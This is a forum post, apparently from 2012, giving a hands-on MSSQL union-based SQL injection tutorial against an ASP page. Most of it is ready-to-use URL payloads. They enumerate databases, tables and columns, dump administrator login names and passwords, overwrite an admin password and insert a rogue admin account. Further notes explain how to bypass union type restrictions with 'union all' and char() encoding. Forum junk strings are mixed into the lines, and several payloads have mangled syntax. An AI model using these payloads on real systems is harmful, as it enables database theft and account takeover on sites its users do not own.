找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1889|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
爆库:8 ^: {% W4 T* ^% P. V
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
9 o7 f! r& u( y6 `* x4 P% K. uSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
0 }4 q5 V% B6 k  `爆下一个库:
8 n# x$ N6 Q6 Q  K! `http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
# d+ ?& d4 [7 ~8 l% W& U
% ~/ O) z5 w; X& W0 {爆表:" I. O9 y$ _& Z
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
& G) O( {0 F9 x+ C# Z# y% i" N( y( I1 K8 O& t& e7 u
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.1 d/ S. N) q  A. [" k

# B7 t# U% z" Q. B爆下一个表
3 a  ]$ h" O8 ^8 n# i# Zhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--- |$ T; U2 c- {" D' r  h- I: S
$ T4 Z/ R# e" W2 _0 Z
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--: ]* q% L5 B, Z7 n/ J
" f' D% V( o' J
7 H; h! b, r4 g3 I4 b

7 R4 T7 I( m1 _8 g$ D) p爆字段:( \- ?1 u- X3 z8 o6 @) z
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
* ]1 ~! w! H; k2 C9 F6 D/ X/ I" u* s4 H6 L& O/ s. v
爆下一个字段
/ }8 e# b. u( J; s4 ohttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
: W* m( |, ~7 M! b; o- }* p( X
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--6 e) D$ Q3 R$ `* _" @$ ]7 W& J" v
" F) c& q4 r5 z6 \
7 F: y- {) j* `& b
爆字段里的内容: |' q6 k8 ~+ p1 Y" U' C8 f
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--% N; s8 s, a. {6 R0 x

9 @3 h9 E- z* K$ P7 ^7 ihttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
2 u. G& ]( M# F) w8 m: F; |! g- A* Z! W0 @; t) P
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--$ z+ z  \0 x5 b
! Q5 w: W. p% V) X. N. }
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
: o0 A8 z: V4 y, J9 m2 z4 t% z2 w4 y4 q( C; L
更新字段里的内容3 p! w% D3 q' \- p! u$ n5 i
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--
9 Z, ?4 b8 H% e& e6 w, r2 p4 A7 ?8 ^; E/ W" u$ l
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
3 g/ Z7 H4 {( q7 |0 J! ]7 E/ V: \) w) W
, }7 V$ n' o4 a3 r7 U

, R; S* Z. q! Y! A- w4 {$ ^3 t        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
( ]/ p) x' C  i" @, x3 E, m    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。1 ]; ?" t5 \5 ~( E
    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。+ U5 |8 B( ?& i3 Z- q7 M
    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。' j0 \9 {0 F; G2 j6 X
( e( R8 H1 w& }4 j  {
突了了大部份限制的语句0 x% P& V0 q- i! u
and 1=2 union all select char(49),char(50),null,null;--$ d- v# R0 N+ k

% E/ g5 j9 A0 ?7 U" X$ S
2 E0 C. d. `$ e; y) M  G: Z- J  _: Gnull也可以正常执行,不过没有回显,不好判断回显的列数。7 @2 \6 D; d* m/ v  V" `
一般union遇到问题都是有text或者ntext字段,image的很少遇到
( h# b$ r' w! A5 Q/ q! D) v1 e/ a' l( D7 {3 V7 ^
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟6 @! Y3 N+ ^! V% I5 y; O: C9 P7 V

4 V* ]5 T+ n4 O
. x. @+ w; f/ F+ q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表